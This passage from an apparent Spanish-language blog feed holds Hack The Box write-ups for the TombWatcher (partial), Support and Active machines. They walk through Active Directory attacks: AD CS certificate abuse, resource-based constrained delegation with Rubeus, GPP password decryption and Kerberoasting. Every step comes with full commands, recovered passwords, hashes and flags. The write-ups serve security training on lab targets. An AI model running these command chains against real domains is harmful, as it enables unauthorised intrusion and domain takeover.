<p>Cambiamos la clave del usuario <strong>john</strong> para poder acceder como ese usuario:</p>
<p><code>$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'Hacked_1337' set password "CN=john,CN=Users,DC=tombwatcher,DC=htb" "Pwned1337"</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904458575/7a826dfa-0578-46b4-8ba3-baffa511f5b8.png" alt="" />

<p>Nos conectamos mediante <strong>evil-winrm</strong> con:</p>
<p><code>$ evil-winrm -i 10.129.53.187 -u john -p Pwned1337</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904465926/0dd0ffb9-86c7-4226-8b96-25a88cf6348d.png" alt="" />

<p>Obtenemos la flag de user:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904473923/50a8bd68-f0b3-481d-8f6d-c72f3c6bd861.png" alt="" />

<p><strong>User Flag:</strong> <code>604255b9beeba826812fccd15aa9aa53</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904483389/49102d2f-da0b-4b1a-b858-8ec52ce69138.png" alt="" />

<p>Listamos objetos borrados en el AD:</p>
<p><code>Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties * | Select-Object Name, DistinguishedName, ObjectClass, LastKnownParent, WhenChanged</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904493312/f430ac19-b75e-40bf-947f-94d30db6e818.png" alt="" />

<p>Restauramos el objeto eliminado (el usuario <strong>cert_admin</strong>):</p>
<p><code>Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904502147/c267fa89-31dc-4a38-aff9-1960a9f8c10e.png" alt="" />

<p>Vemos que permisos tenemos sobre el usuario restaurado:</p>
<p><code>$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u john -p 'Pwned1337' get writable</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904509731/ced9037f-dedf-4bd1-a6d6-539b19921acb.png" alt="" />

<p>Cambiamos la contraseña del usuario restaurado:</p>
<p><code>net user cert_admin Pwned1337 /domain</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904519587/f7d01a47-95b1-4cc2-b6bd-9e8c7fe3cad8.png" alt="" />

<p>Abuso de Certificado ADCS:</p>
<p>El primer <code>req</code> emite un certificado válido para que <code>cert_admin</code> actúe como agente.</p>
<p><code>$ certipy req -u 'cert_admin@tombwatcher.htb' -p 'Pwned1337 -dc-ip '10.129.53.187' -target 'dc01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'WebServer' -application-policies 'Certificate Request Agent'</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904532739/d13c75c2-2d39-4218-b621-5dc22bff63ea.png" alt="" />

<p>Solicita un certificado para <strong>Administrator</strong> usando el privilegio de agente.</p>
<p><code>$ certipy req -u 'cert_admin@tombwatcher.htb' -p 'Pwned1337' -dc-ip '10.129.53.187' -target 'dc01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'User' -pfx 'cert_admin.pfx' -on-behalf-of 'tombwatcher\Administrator'</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904540932/e17fdd6c-5250-4dd3-b9f9-db44d73b1f41.png" alt="" />

<p>Se autentica con el PFX recién generado como <code>Administrator</code>.</p>
<p><code>$ certipy auth -pfx 'administrator.pfx' -dc-ip 10.129.53.187</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904548446/3345b5bf-1425-4767-9f4c-1d224ef77e89.png" alt="" />

<p>Shell SYSTEM desde el hash NTLM del Administrador.</p>
<p><code>$ impacket-psexec tombwatcher.local/Administrator@10.129.53.187 -hashes aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904555617/42374087-e647-4a4b-a11e-249594b4ae1a.png" alt="" />

<p>Obtenemos la flag de root</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904562559/a5dbfec7-b9f8-4ed2-a626-bdb0b8c9cab1.png" alt="" />

<p><strong>Root Flag:</strong> <code>3e7136fca73d5cd2f8913d35adad99f7</code></p>
<hr />
<p>📌 <strong>Sígueme / Portfolio</strong></p>
<p>🌐 <strong>Web:</strong> <a href="https://0xnano.com/">https://0xnano.com</a></p>
<p>🐦 <strong>X:</strong> <a href="https://x.com/0xN4no">https://x.com/0xN4no</a></p>
<p>🐙 <strong>GitHub:</strong> <a href="https://github.com/0xN4no">https://github.com/0xN4no</a></p>
<img src="https://www.hackthebox.eu/badge/image/54373" alt="Nano" />

<p>🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.</p>
]]></content:encoded></item><item><title><![CDATA[Support Writeup]]></title><description><![CDATA[Iniciamos con un escaneo de puertos:
$ nmap -sV -Pn -sC -v -T4 10.10.11.174


Enumeramos los shares disponibles como guest utilizando netexec:
$ nxc smb 10.10.11.174 -u guest -p '' --shares


Como pod]]></description><link>https://blog.0xnano.com/support-writeup</link><guid isPermaLink="true">https://blog.0xnano.com/support-writeup</guid><category><![CDATA[rbcd]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Nano]]></dc:creator><pubDate>Tue, 07 Oct 2025 22:31:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/c0760d12-aa47-4a91-81a2-171cf673f135.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Iniciamos con un escaneo de puertos:</p>
<p><code>$ nmap -sV -Pn -sC -v -T4 10.10.11.174</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759874818636/4ba65eea-8d04-42ff-b2c2-e7be752af1e2.png" alt="" />

<p>Enumeramos los shares disponibles como <strong>guest</strong> utilizando <strong>netexec</strong>:</p>
<p><code>$ nxc smb 10.10.11.174 -u guest -p '' --shares</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759874874627/ec8f379c-db7f-4508-8cc2-31566aea774c.png" alt="" />

<p>Como podemos observar, tenemos permisos de lectura sobre <strong>support-tools</strong></p>
<p>Nos conectamos a <strong>support-tools</strong> utilizando <strong>smbclient</strong>:</p>
<p><code>$ smbclient //10.10.11.174/support-tools guest</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759874908535/86bab711-9bb1-4b22-8407-d7be95309608.png" alt="" />

<p>Una vez dentro, veremos varios archivos <strong>.exe</strong> y <strong>.zip</strong> de herramientas como 7zip, Notepad, Putty, WinDirStat y WireShark, ademas de 2 archivos interesantes que son <a href="http://UserInfo.exe.zip"><strong>UserInfo.exe.zip</strong></a> y <a href="http://SysinternalsSuite.zip"><strong>SysinternalsSuite.zip</strong></a></p>
<p>Descargamos <a href="http://UserInfo.exe.zip"><strong>UserInfo.exe.zip</strong></a> y <a href="http://SysinternalsSuite.zip"><strong>SysinternalsSuite.zip</strong></a> con el comando <strong>get</strong>:</p>
<p><code>get SysinternalsSuite.zip</code></p>
<p><code>get UserInfo.exe.zip</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875034206/492a097e-cc6d-4f0d-80b6-ef06a52cde10.png" alt="" />

<p>Si descomprimimos la carpeta <a href="http://UserInfo.exe.zip"><strong>UserInfo.exe.zip</strong></a> veremos que hay varios archivos <strong>.dll</strong>, el ejecutable <strong>UserInfo.exe</strong> y su archivo de configuracion <strong>UserInfo.exe.config</strong></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875055917/a0a539fe-5ded-4b76-98fc-813bdce1b61e.png" alt="" />

<p>Si revisamos el archivo de configuracion, veremos que el archivo <strong>UserInfo.exe</strong> se trata de un archivo ejecutable para Windows ensamblado en .Net</p>
<p>Si buscamos en Google un desensamblador para .net en github obtendremos varios resultados, entre ellos ILSpy y dnSpy</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875076256/f6768619-0cd9-4073-8b16-fb8c1d699db9.png" alt="" />

<p>Como ILSpy me dio algunos problemas, opte por utilizar <strong>dnSpy</strong> para decompilar el <strong>UserInfo.exe</strong> ya que su estructura esta basada en <strong>.NET</strong>:</p>
<p><a href="https://github.com/dnSpy/dnSpy">https://github.com/dnSpy/dnSpy</a></p>
<p>Una vez decompilado el <strong>UserInfo.exe</strong> se nos creara un archivo dentro de la carpeta <strong>/decompiled</strong> llamado <strong>UserInfo.decompiled.cs</strong></p>
<p>Revisamos el contenido de <strong>UserInfo.decompiled.cs</strong> en busqueda de claves con:</p>
<p><code>$ cat UserInfo.decompiled.cs | grep "password"</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875114733/21e7a762-95b5-44b0-a18e-eb69a16fa36e.png" alt="" />

<p>Como podemos observar, hay una clave encodeada para lo que parece ser el usuario <strong>ldap</strong></p>
<p>Si revisamos el codigo del archivo <strong>UserInfo.decompiled.cs</strong> veremos que tiene una private key la cual es "armando" esta private key nos permitira decodear la clave final</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875133513/18244927-630c-46ca-8656-f31d8c19d570.png" alt="" />

<p>Enumeramos los usuarios del sistema bruteando el RID con <strong>netexec</strong>:</p>
<p><code>$ nxc smb 10.10.11.174 -u guest -p '' --rid-brute</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875146281/24e8d13d-94eb-457c-83f4-d359fa8556b8.png" alt="" />

<p>Armamos un script simple para decodear la clave:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875161181/5b608a60-17a5-4381-a762-65cc37712a08.png" alt="" />

<p>Tras ejecutarlo, obtendremos la clave decodeada del usuario <strong>ldap</strong> la cual es <code>nvEfEK16^1aM4\(e7AclUf8x\)tRWxPWO1%lmz</code></p>
<p>Realizamos un escaneo del AD con <strong>bloodhound</strong> utilizando las credenciales previamente obtenidas:</p>
<p><code>\( bloodhound-python -d support.htb -u ldap -p 'nvEfEK16^1aM4\)e7AclUf8x$tRWxPWO1%lmz' -ns 10.10.11.174 -c All --zip</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875225509/325fde48-3c41-455f-9228-dee04ba45421.png" alt="" />

<p>Vemos que el usuario <strong>LDAP</strong> es miembro del <strong>DOMAIN USERS</strong></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875238857/72e8f50b-7c50-4704-8f39-c4afb704c328.png" alt="" />

<p>Si revisamos el escaneo, veremos que hay muchos usuarios mas dentro del sistema</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875257105/d5bcdffa-d9dd-49b7-b941-4d99a456f774.png" alt="" />

<p>Como no encontramos mucha informacion que nos permita continuar con la escalada, procedemos a utilizar ldapsearch para validar las credenciales y que dumpee todos los objetos que encuentre en el AD:</p>
<p><code>ldapsearch -x -H ldap://10.10.11.174 -D 'SUPPORT\LDAP' -w 'nvEfEK16^1aM4\(e7AclUf8x\)tRWxPWO1%lmz' -b "DC=SUPPORT,DC=HTB"</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875274340/84f243dc-74de-4f5b-be92-c0e7f56ad00c.png" alt="" />

<p>Si revisamos, veremos que el escaneo tambien nos arroja la clave del usuario <strong>support</strong> en el campo <strong>info: Ironside47pleasure40Watchful</strong></p>
<p><code>$ evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875295500/fdc91a38-37d8-4a6e-bcfa-b04417fac128.png" alt="" />

<p><strong>User Flag:</strong> <code>3bcb9669db94994002439aa221e0a999</code></p>
<hr />
<p>Si revisamos el escaneo de <strong>bloodhound</strong> realizado previamente, veremos que el usuario <strong>SUPPORT</strong> es miembro de <strong>REMOTE MANAGMENT USERS</strong> lo cual habilita que sea posible la conexion mediante <strong>evil-winrm</strong>. Es miembro del <strong>DOMAIN USERS</strong>, los usuarios del dominio. Y tambien es miembro del grupo <strong>SHARED SUPPORT ACCOUNTS</strong>.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875324528/cc1fbbea-b14e-46cf-906f-88d49d9d86b3.png" alt="" />

<p>Si revisamos mas al detalle, veremos que <strong>SHARED SUPPORT ACCOUNTS</strong> tiene permisos de <strong>GenericAll</strong> sobre el Domain Control</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875337724/45f2b2a5-a859-4250-bfaa-7a95b6713869.png" alt="" />

<p>Esto habilita varios ataques, entre ellos el <strong>Resource-Based Constrained Delegation (RBCD)</strong> que nos sugiere <strong>bloodhound</strong></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875352793/91aa6c86-c85a-4472-8493-5ee03dc65a33.png" alt="" />

<p>El <strong>Resource-Based Constrained Delegation (RBCD)</strong> o Delegacion Restringida Basada en Recursos, como su nombre indica, es la delegacion basada en recursos dentro del AD, esto permite que un equipo (objeto computadora) actue en nombre de usuarios cuando accede a servicios de otro equipo, por ejemplo:</p>
<p>Supongamos que hay dos servidores:</p>
<ul>
<li><p>El <strong>Servidor A</strong> (que ya controlo).</p>
</li>
<li><p>El <strong>Servidor B</strong> (al que quiero llegar).</p>
</li>
</ul>
<p>Normalmente, solo el administrador de <strong>B</strong> decide quién puede delegar y acceder.<br />Pero con <strong>RBCD</strong>, el <strong>Servidor A</strong> puede “anotarse solo en la lista” de <strong>B</strong> como alguien autorizado.</p>
<p>¿El resultado? Desde <strong>A</strong> puedo hacerme pasar por cualquier usuario ante <strong>B</strong> (incluso un admin) y así entrar a lugares donde no debería.</p>
<p>En este caso, como estamos desde el usuario <strong>support</strong> que es miembro del grupo <strong>SHARED SUPPORT ACCOUNTS</strong> que tiene permisos de GenericAll sobre el <strong>Domain Control</strong> lo que podriamos hacer es crear una maquina (objeto computadora) que actue como si fuese el administrador al agregarlo al<br /><code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> (que seria como la "lista de invitados del servidor", la cual dice que maquinas estan autorizadas a entrar y actuar en nombre de otros usuarios) para finalmente pedir un ticket de <strong>Kerberos</strong> con el fin de autenticarnos como administrador en el Domain Control.</p>
<p>Primero vamos a verificar que podemos crear maquinas utilizando <strong>netexec</strong>:</p>
<p><code>$ nxc ldap 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful' -M maq</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875390089/5aa76292-baaa-4c1f-a82a-9d0014e6375d.png" alt="" />

<p>Como podemos observar el <strong>MachineAccountQuota</strong> es 10, lo que significa que podemos crear hasta 10 cuentas de equipo</p>
<p>El ataque se puede realizar tanto desde Windows, mediante la sesion de <strong>evil-winrm</strong> como desde nuestra maquina linux. En este caso, para realizar el ataque desde la sesion de <strong>evil-winrm</strong> como el usuario <strong>support</strong>, si revisamos la recomendacion de <strong>bloodhound</strong>, para realizar el ataque vamos a necesitar 3 herramientas:</p>
<ul>
<li><p><a href="http://Powermad.ps"><strong>Powermad.ps</strong></a><strong>1</strong>: Para la explotacion del <strong>MachineAccountQuota</strong>.</p>
</li>
<li><p><a href="http://Powerview.ps"><strong>Powerview.ps</strong></a><strong>1</strong>: Para interactuar con <strong>PowerShell</strong> y enumerar/configurar AD.</p>
</li>
<li><p><strong>Rubeus.exe</strong>: Para la manipulacion de Kerberos y obtencion de tickets.</p>
</li>
</ul>
<p>Subimos las 3 herramientas a nuestra sesion de <strong>evil-winrm</strong> con:</p>
<p><code>upload Powermad.ps1</code></p>
<p><code>upload Powerview.ps1</code></p>
<p><code>upload Rubeus.exe</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875470391/5a32022b-920a-4b83-8b65-b0e29bcf15fe.png" alt="" />

<p>Creamos la cuenta de máquina <code>PWNED$</code> con contraseña <code>Pwned1337#</code> para usarla en la explotación de delegación:</p>
<p><code>New-MachineAccount -MachineAccount PWNED -Password $(ConvertTo-SecureString 'Pwned1337#' -AsPlainText -Force) -Verbose</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875496603/8a0e4ab9-36d5-4e10-bc85-115b1452b7b6.png" alt="" />

<p>Asignamos <code>PWNED$</code> en <code>PrincipalsAllowedToDelegateToAccount</code> del equipo DC para habilitar RBCD:</p>
<p><code>Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount PWNED$</code></p>
<p>Verificamos que <code>PWNED$</code> aparece en <code>PrincipalsAllowedToDelegateToAccount</code> del DC</p>
<p><code>Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875525029/b5e0bf6b-b33b-4819-9aa0-950e030c863b.png" alt="" />

<p>Generamos las claves derivadas de la contraseña de <code>PWNED$</code> para poder solicitar tickets Kerberos:</p>
<p><code>.\Rubeus.exe hash /password:Pwned1337# /user:PWNED$ /domain:support.htb</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875540904/e1a6ac33-c9a4-4a0c-b3c5-e0cfd67ec2cf.png" alt="" />

<p>Con Rubeus realizamos S4U2self+S4U2proxy usando la clave de <code>PWNED$</code> para obtener e inyectar un TGS por <code>cifs/dc.support.htb</code> que nos permite impersonar a <code>administrator</code>:</p>
<p><code>.\Rubeus.exe s4u /user:PWNED$ /rc4:C21C33DBE899772558DAE64F166A04A7 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb/support.htb /ptt</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875581372/9062bd78-fd4a-4650-878c-0f1888b46801.png" alt="" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875593598/ddc90876-8665-400b-bc27-5d485a906ba3.png" alt="" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875604545/08f391f2-e394-4d6a-8f3b-134100a7c11c.png" alt="" />

<blockquote>
<p>S4U2self + S4U2proxy</p>
<ul>
<li><p><strong>S4U2self:</strong> un servicio autenticado (p. ej. <code>PWNED$</code>) solicita al KDC un ticket intermedio que le permite <strong>actuar en nombre de otro usuario</strong> (por ejemplo <code>Administrator</code>) sin conocer la contraseña de ese usuario.</p>
</li>
<li><p><strong>S4U2proxy:</strong> usando ese ticket intermedio, el servicio pide al KDC un <strong>TGS</strong> para un servicio objetivo (p. ej. <code>cifs/dc.support.htb</code>) <em>en nombre</em> del usuario impersonado.</p>
</li>
<li><p><strong>Juntos:</strong> permiten que una identidad controlada (<code>PWNED$</code>) impersone a <code>Administrator</code> frente a un servicio remoto <strong>si y solo si</strong> la cuenta está autorizada para delegar hacia ese servicio (RBCD: <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> / <code>PrincipalsAllowedToDelegateToAccount</code>). En este caso, Rubeus ejecutó S4U2self + S4U2proxy y devolvió el TGS para <code>cifs/dc.support.htb</code> impersonando a <code>Administrator</code>; ese ticket fue convertido/inyectado y verificado con <code>klist</code> antes de usarlo con <code>psexec</code>.</p>
</li>
</ul>
<hr />
<p>Por lo tanto, el comando que pusimos previamente:</p>
<ol>
<li><p><strong>Autentica</strong> como <code>PWNED$</code> ante el KDC usando el RC4 hash (<code>/rc4</code>) — construye la petición necesaria. (AS-REQ / PA-ENC-TIMESTAMP o equivalente).</p>
</li>
<li><p><strong>S4U2self</strong>: pide al KDC un ticket que represente a <code>PWNED$</code> <em>actuando como</em> <code>administrator</code>. El KDC devuelve un ticket de servicio (no necesariamente un TGS para el SPN final; es un ticket que prueba la identidad impersonada).</p>
</li>
<li><p><strong>S4U2proxy</strong>: con el ticket de S4U2self, solicita al KDC un <strong>TGS para</strong> <code>cifs/dc.support.htb</code> donde la identidad asociada al ticket sea <code>administrator</code>. El KDC valida: ¿<code>PWNED$</code> está autorizado a delegar hacia ese SPN en el objeto DC? Si la respuesta es sí (RBCD presente), emite el TGS para <code>cifs/dc.support.htb</code> con <strong>principal = administrator</strong>.</p>
</li>
<li><p>Rubeus muestra la salida: normalmente imprime confirmación, la base64 del ticket <code>.kirbi</code> y si pedimos <code>/ptt</code> (Pass The Ticket) intenta inyectarlo en LSA.</p>
</li>
<li><p>Resultado: obtenemos un TGS usable para autenticación SMB <strong>como Administrator</strong>.</p>
</li>
</ol>
</blockquote>
<p>Convertimos el ticket kirbi obtenido a un <code>admin.ccache</code> para que las herramientas clientes lo usen:</p>
<p><code>$ minikerberos-kirbi2ccache ticket.kirbi_b64 admin.ccache</code></p>
<p>Apuntamos <code>KRB5CCNAME</code> al ccache con el ticket impersonado:</p>
<p><code>$ export KRB5CCNAME=admin.ccache</code></p>
<p>Comprobamos en <code>klist</code> que existe el TGS para <code>cifs/dc.support.htb</code> y que la identidad efectiva es <code>administrator</code>:</p>
<p><code>$ klist</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875674701/0d30314a-1267-4215-b5f0-6e0df44476fd.png" alt="" />

<p>Ejecutamos <code>psexec</code> con Kerberos (-k, -no-pass) usando el ticket cargado para obtener ejecución remota en el DC como Administrator:</p>
<p><code>$ psexec.py -k -no-pass support.htb/administrator@dc.support.htb -dc-ip 10.10.11.174 -target-ip 10.10.11.174</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875690087/ecd1adfb-cc2c-4714-ba37-3911038fb4e3.png" alt="" />

<p>Obtenemos la flag de root</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759875704910/4c994594-498c-4466-935c-a3fc1cb142e6.png" alt="" />

<p><strong>Root Flag:</strong> <code>e2527c507d443f79fb6a13053f868e0b</code></p>
<hr />
<p>📌 <strong>Sígueme / Portfolio</strong></p>
<p>🌐 <strong>Web:</strong> <a href="https://0xnano.com/">https://0xnano.com</a></p>
<p>🐦 <strong>X:</strong> <a href="https://x.com/0xN4no">https://x.com/0xN4no</a></p>
<p>🐙 <strong>GitHub:</strong> <a href="https://github.com/0xN4no">https://github.com/0xN4no</a></p>
<img src="https://www.hackthebox.eu/badge/image/54373" alt="Nano" />

<p>🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.</p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Active WriteUp]]></title><description><![CDATA[Enumeracion
Iniciamos con un escaneo de nmap:
$ nmap -sV -Pn -sC -T4 10.10.10.100


Entramos como anonymous al smb para enumerar los shares disponbibles con:
$ smbclient -L //10.10.10.100


Dentro enc]]></description><link>https://blog.0xnano.com/active-writeup</link><guid isPermaLink="true">https://blog.0xnano.com/active-writeup</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[hackthebox machine]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Kerberos]]></category><category><![CDATA[Kerberos attacks]]></category><dc:creator><![CDATA[Nano]]></dc:creator><pubDate>Tue, 30 Sep 2025 09:28:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/4048d301-ca44-49d5-9949-06e16109b775.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Enumeracion</h2>
<p>Iniciamos con un escaneo de nmap:</p>
<p><code>$ nmap -sV -Pn -sC -T4 10.10.10.100</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223871247/1542365d-4b20-46d8-8450-1064bae8b4ea.png" alt="" />

<p>Entramos como anonymous al smb para enumerar los shares disponbibles con:</p>
<p><code>$ smbclient -L //10.10.10.100</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223883969/34c113ca-3a90-443b-863a-b05905363acf.png" alt="" />

<p>Dentro encontramos unas policies con las credenciales de la cuenta de servicio <code>svc_tgs</code> con su clave <code>edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ</code> cifrada</p>
<p>Buscamos informacion sobre como decodear la clave obtenida</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223893469/d9f71319-2d7b-411a-b82a-e24041c495d1.png" alt="" />

<p><a href="https://github.com/t0thkr1s/gpp-decrypt">https://github.com/t0thkr1s/gpp-decrypt</a></p>
<p>Deciframos la clave con <code>gpp-decrypt</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223901717/0de1368a-8fab-48e3-81f0-5529e6785d66.png" alt="" />

<p>Conseguimos decifrar la clave: <code>GPPstillStandingStrong2k18</code></p>
<hr />
<h2>Acceso Inicial</h2>
<p>Enumeramos los shares disponibles como svc_tgs:</p>
<p><code>$ nxc smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223909883/e1b94ad3-4138-4b36-91dd-fc26b1cd007b.png" alt="" />

<p>Listamos los contenidos dentro de <code>/Users</code>:</p>
<p><code>$ smbclient //10.10.10.100/Users -U '10.10.10.100\svc_tgs%GPPstillStandingStrong2k18'</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223921760/742ce452-7f1d-4dba-9c72-7bb907d50b5b.png" alt="" />

<p>Obtenemos la flag de user.txt en <code>\SVC_TGS\Desktop\</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223929419/392beed6-de7e-4804-8e3b-87de40b93f58.png" alt="" />

<p>Enumeramos todo el AD con bloodhound para ver posibles vectores de escalada:</p>
<p><code>$ bloodhound-python -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -d active.htb -ns 10.10.10.100 -c All --zip</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223938642/db7a80ec-4c2d-4f0a-9389-e393d22887bb.png" alt="" />

<p>Encontramos que la cuenta <code>Administrator</code> posee un SPN apuntando al servicio de Samba en el puerto <code>445</code>:</p>
<p><code>Service Principal Names: active/CIFS:445</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223945499/318a2539-bec5-4369-893c-b5f2430f0909.png" alt="" />

<p>Un SPN (Service Principal Name o Nombre Principal del Servicio) es un identificador único en un entorno de Active Directory (AD) que asocia una instancia de servicio (como un servidor web o de bases de datos) con la cuenta de servicio que la ejecuta, permitiendo a los clientes autenticarse y conectarse al servicio correcto mediante el protocolo Kerberos.</p>
<blockquote>
<ul>
<li><p>Kerberos permite a <strong>cualquier usuario de dominio</strong> solicitar un ticket de servicio (TGS) para un SPN público, el DC entrega el ticket porque el cliente legítimo necesitaría ese ticket para autenticarse al servicio. No se exige privilegio especial para pedirlo.</p>
</li>
<li><p>Ese TGS contiene una parte cifrada con la <strong>clave del servicio</strong>, y esa clave se deriva de la <strong>contraseña de la cuenta</strong> que tiene asignado el SPN (si es una cuenta de usuario o de servicio con contraseña).</p>
</li>
<li><p>El atacante pide el TGS, lo guarda y extrae el bloque cifrado. Como el cifrado está basado en la clave/contraseña del servicio, el bloque se puede <strong>atacar offline</strong> (brute-force / dictionary) hasta recuperar la contraseña si ésta es débil.</p>
</li>
<li><p>Por eso <strong>cualquier SPN</strong> que apunte a una cuenta con una contraseña debil es vulnerable: no importa qué servicio sea, lo que importa es que el ticket se cifre con la clave de esa cuenta.</p>
</li>
</ul>
</blockquote>
<hr />
<h2>PrivEsc via Kerberoasting</h2>
<p>Solicitamos el ticket para el SPN objetivo con la cuenta <code>SVC_TGS</code> y lo volcamos a <code>tgt.txt</code> (archivo con el ticket cifrado):</p>
<p><code>$ nxc ldap 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --kerberoast tgt.txt</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223954841/5449ca3c-b2d7-4c58-9a0f-8aebba76ca3c.png" alt="" />

<p>Crackeamos el ticket obtenido con hashcat y obtenemos la clave de Administrator:</p>
<p><code>$ hashcat tgt.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223962202/ab1a4e63-f7eb-4c41-b234-a9d96a36a0de.png" alt="" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223969713/8a5436cb-8532-4ba9-880e-13d33fc5815a.png" alt="" />

<p>Password: <code>Ticketmaster1968</code></p>
<p>Nos conectamos mediante SMB a /Users como Administrator con la clave previamente obtenida:</p>
<p><code>$ smbclient //10.10.10.100/Users -U '10.10.10.100\Administrator%Ticketmaster1968'</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223976948/b234b16a-95c8-4543-9743-107e8e4b285c.png" alt="" />

<p>Obtenemos la flag de root.txt en <code>\Administrator\Desktop\</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759223983521/593351c6-4e9a-453d-84c5-2327a8fe4034.png" alt="" />

<hr />
<p>📌 <strong>Sígueme / Portfolio</strong></p>
<p>🌐 <strong>Web:</strong> <a href="https://0xnano.com/">https://0xnano.com</a></p>
<p><a href="https://0xnano.xn--com-3t7sp340g">🐦</a> <strong>X:</strong> <a href="https://x.com/0xN4no">https://x.com/0xN4no</a></p>
<p><a href="https://www.linkedin.com/in/0xnano%EF%BF%BC%F0%9F%90%99">🐙</a> <strong>GitHub:</strong> <a href="https://github.com/0xN4no">https://github.com/0xN4no</a></p>
<img src="https://www.hackthebox.eu/badge/image/54373" alt="Nano" />

